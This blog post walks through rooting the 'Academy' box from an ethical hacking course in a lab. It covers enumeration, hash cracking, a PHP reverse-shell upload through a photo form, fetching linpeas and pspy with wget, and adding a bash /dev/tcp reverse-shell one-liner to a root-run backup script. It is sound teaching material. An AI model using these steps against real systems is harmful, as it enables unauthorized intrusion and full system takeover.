Rooting the Academy Box: A Practical Ethical Hacking Walkthrough

In this blog post, I’ll walk you through the process of rooting the Academy box from the TCM Academy’s Practical Ethical Hacker course. The box was designed to test your skills in directory busting, FTP exploration, PHP webshell uploads, and Linux privilege escalation.

Key Learning Objectives

  • Network service enumeration
  • Hash cracking techniques
  • Web application vulnerability exploitation
  • File upload bypass techniques
  • Linux privilege escalation through cron job manipulation

Environment Setup

This box simulates a vulnerable educational institution’s network infrastructure, specifically targeting their student registration system. The environment represents a common scenario where seemingly minor misconfigurations can lead to full system compromise.

Attack Path Overview

  1. Initial enumeration reveals FTP, HTTP, and SSH services
  2. Anonymous FTP access provides crucial student registration information
  3. Web application discovered with student portal login
  4. File upload vulnerability in student profile section
  5. Privilege escalation through periodic backup script

Attack Path Diagram

Detailed Walkthrough

Initial Enumeration

Starting with a thorough nmap scan to identify open ports and services:

nmap -p- -A -T4 192.168.17.136 -oN map.txt

The scan revealed the following open ports and services:

  • FTP (21) - vsftp 3.0.3
  • HTTP (80) - Apache httpd 2.4.38 (Debian)
  • SSH (22) - OpenSSH 7.9p1

From this, I identified two primary attack vectors to explore: the FTP service and the web server running on port 80.

FTP Enumeration

I began by connecting to the FTP service on the target machine. To do this, I used the ftp command, followed by the target IP address. I used anonymous login since this option was enabled on the server.

ftp 192.168.17.136
ls

Once connected, I listed the contents of the current directory with the ls command. This revealed a file named note.txt in the present directory. At this point, I downloaded the note.txt file to see if it contained any useful information for further exploitation:

get note.txt
cat note.txt

The note contained information about a student registration database, but more interestingly, it included a password hash. This hash seemed like it could be the key to accessing additional resources or gaining further control over the system.

To identify the hash type, I used the hash-identifier tool on Kali Linux:

hash-identifier 

I saved the hash and used hashcat to crack it:

gedit hashes.txt
hashcat -m 0 hashes.txt /usr/share/wordlists/rockyou.txt 

Web Application Discovery

With the information gathered from the FTP service, I turned my attention to the web server running on port 80. I opened the browser and navigated to the target IP address. The Apache default page appeared, indicating that the server was running Apache and no custom web page had been configured yet.

Moving to directory enumeration:

I first checked for any information in robots.txt:

http://192.168.17.136/robots.txt

I also examined the page source:

right-click > view page source

To continue my investigation, I initially used dirb for directory busting to identify hidden directories or files on the web server. In addition to using dirb, I also employed the ffuf tool to fuzz a parameter on the server:

dirb http://192.168.17.136
ffuf -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt:FUZZ -u http://192.168.17.136/FUZZ

The results revealed 301 redirects for two interesting paths: /phpmyadmin and /academy. These redirects suggested that these paths were actively being used on the server and could lead to further vulnerabilities or misconfigurations. Upon visiting http://192.168.17.136/academy, I found a login form requesting a student registration number and password:

Gaining Initial Access

Using the previously obtained credentials, I successfully log into the academy student portal login page:

Exploiting File Upload

After successfully logging into the system, I explored the available options within the online course registration page. The “My Profile” page at http://192.168.17.136/academy/my-profile.php contained a photo upload form:

Testing confirmed uploads were stored at:

/academy/studentphoto/flower.jpg

I prepared a PHP reverse shell using the Pentest Monkey payload:

nano reverse-shell.php

Before uploading, I started a netcat listener on my Kali attack machine:

nc -nvlp 1234

I then uploaded the PHP reverse shell through the photo upload form:

The shell connected back immediately to my Kali machine and I was logged in to the target using the www-data user account, which did not have any elevated privileges:

Privilege Escalation

Using LINPEAS for initial enumeration:

At this point, I had successfully gained access as the www-data user, but I wasn’t logged in as root. Therefore, the next step was to attempt privilege escalation to gain higher-level access to the system.

I decided to use LINPEAS, a popular tool designed to hunt for potential privilege escalation opportunities on Linux systems. LINPEAS automates the process of searching for misconfigurations, weaknesses, and other possible vectors that could allow a low-privileged user to escalate to root.

LINPEAS can be downloaded from its GitHub repository:

LINPEAS GitHub Repository

Next, I created a transfer folder on my Kali machine to store the LINPEAS script. I spun up a web server within this directory to serve files that can be downloaded by other machines.

mkdir transfers
cd transfers
python3 -m http.server 80

I downloaded LINPEAS into my transfers directory on my Kali machine and then transfered it to the target (via the reverse shell connection) by using a wget command on the target machine (wget http:///linpeas.sh). I then ran LINPEAS there to search for privilege escalation vectors:

wget http://192.168.17.134/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh

LINPEAS revealed several interesting findings:

  • A backup script in /home/grimmie
  • MySQL credentials
  • User “grimmie” with elevated privileges

Using the discovered credentials for SSH access, I am able to log into the target using the grimmie user account:

ssh grimmie@192.168.17.136

Investigating user context:

Once logged in, I checked for sudo privileges by running the sudo -l command. However, I received an error. I also checked for any leads via the history command.

Since Grimmie didn’t have access to sudo, I decided to try the history command to see if there were any previously executed commands that might provide additional insights or opportunities for privilege escalation.

sudo -l
history

Investigating the backup.sh Script

The LINPEAS output had already pointed out the backup.sh script, so I decided to investigate it further. I navigated to the /home/grimmie directory. In this directory, I found the backup.sh script and examined its contents:

cd /home/grimmie
ls
cat backup.sh

The backup.sh script does the following:

  • Removes an existing backup.zip file in the /tmp directory.
  • Creates a backup.zip file containing the /var/www/html/academy/includes directory.
  • Changes the permissions of the backup.zip file to 700, making it accessible only to the file’s owner.

Since this script backs up files from the /var/www/html/academy/includes directory, it could provide valuable information or access if these files contain sensitive data.

Investigating Cron Jobs for Backup Script

It’s possible that the backup.sh script is being run periodically through a cron job, which would automate the backup process. To determine if that’s the case, we can check the cron jobs for both the Grimmie user and the root user, as backup.sh is located in /home/grimmie and could be scheduled to run automatically.

We can check for cron jobs using the following commands:

crontab -l
crontab -u root -l 
crontab -e 

The output here indicates that there are no cron jobs scheduled for grimmie or the root user.

Checking System Timers Since cron jobs may not have been used, I turned to systemd timers to see if there were any automated tasks running on a timer. To do this, I ran the following command:

This gave me information about any timers set to trigger actions periodically.

I also used the ps command to check for any running processes that could provide further insight into scheduled tasks. This command showed the running processes on the system, which could include scripts or other services.

Using pspy to Confirm the Timer To confirm whether the backup.sh script was running on a timer, I decided to use the pspy tool. pspy is useful for detecting processes running on a system without requiring root privileges.

pspy GitHub

I downloaded pspy to my Kali machine, in the same directory where I had previously hosted the web server. From the reverse shell connection to the target machine, I requested a download of it to the target using the wget command: Using pspy to monitor for script execution:

wget http://192.168.17.134/pspy64
chmod +x pspy64
./pspy64

Looking through the output of pspy, I found that the backup.sh script was indeed running. This confirmed that the script was scheduled to execute periodically. We were able to observe how often it was running—every minute. At this point, I realized I could exploit this recurring task for further access.

Root Access

Abusing the Periodic Backup Script Since the backup.sh script was running automatically, I decided to modify it to add a reverse shell payload. This way, when the script executed, it would also execute the reverse shell, giving me access to the system.

Adding Reverse Shell to backup.sh

I navigated back to the /home/grimmie directory.

I then added a reverse shell to the backup.sh script. I grabbed a one-line reverse shell from the Pentest Monkey Reverse Shell cheatsheet:

Pentest Monkey’s Reverse Shell Cheat Sheet

Here’s the command I added to the script:

I substituted 10.0.0.1 with my attacker IP address and added this to the backup.sh script.

bash -i >& /dev/tcp/10.0.0.1/8080 0>&1

Waiting for script execution to gain root: When the backup script executed, it gave me root access:

Success - Root Access Achieved

Finally, I captured the flag from the /root directory:

whoami
cd /root
ls
cat flag.txt

Conclusion

This walkthrough demonstrated a complete penetration testing workflow, from initial enumeration through privilege escalation to ultimately achieving root access. The Academy box provided excellent practice in:

  • Service enumeration
  • Password cracking
  • Web application security
  • File upload vulnerabilities
  • Linux privilege escalation techniques

Remember that the techniques demonstrated here should only be used in authorized testing environments. Always ensure you have proper permission before attempting any security testing.

Quick Reference Commands

# Initial Enumeration
nmap -p- -A -T4 <IP>
dirb http://<IP>
ffuf -w /path/to/wordlist:FUZZ -u http://<IP>/FUZZ

# Hash Cracking
hash-identifier
hashcat -m 0 hash.txt /usr/share/wordlists/rockyou.txt

# Privilege Escalation
wget http://<IP>/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh

Tools Used

  • nmap: Network scanning
  • dirb/ffuf: Directory enumeration
  • hashcat: Password cracking
  • netcat: Reverse shell listener
  • LINPEAS: Privilege escalation enumeration
  • pspy: Process monitoring

Happy Hacking!

  • Nisha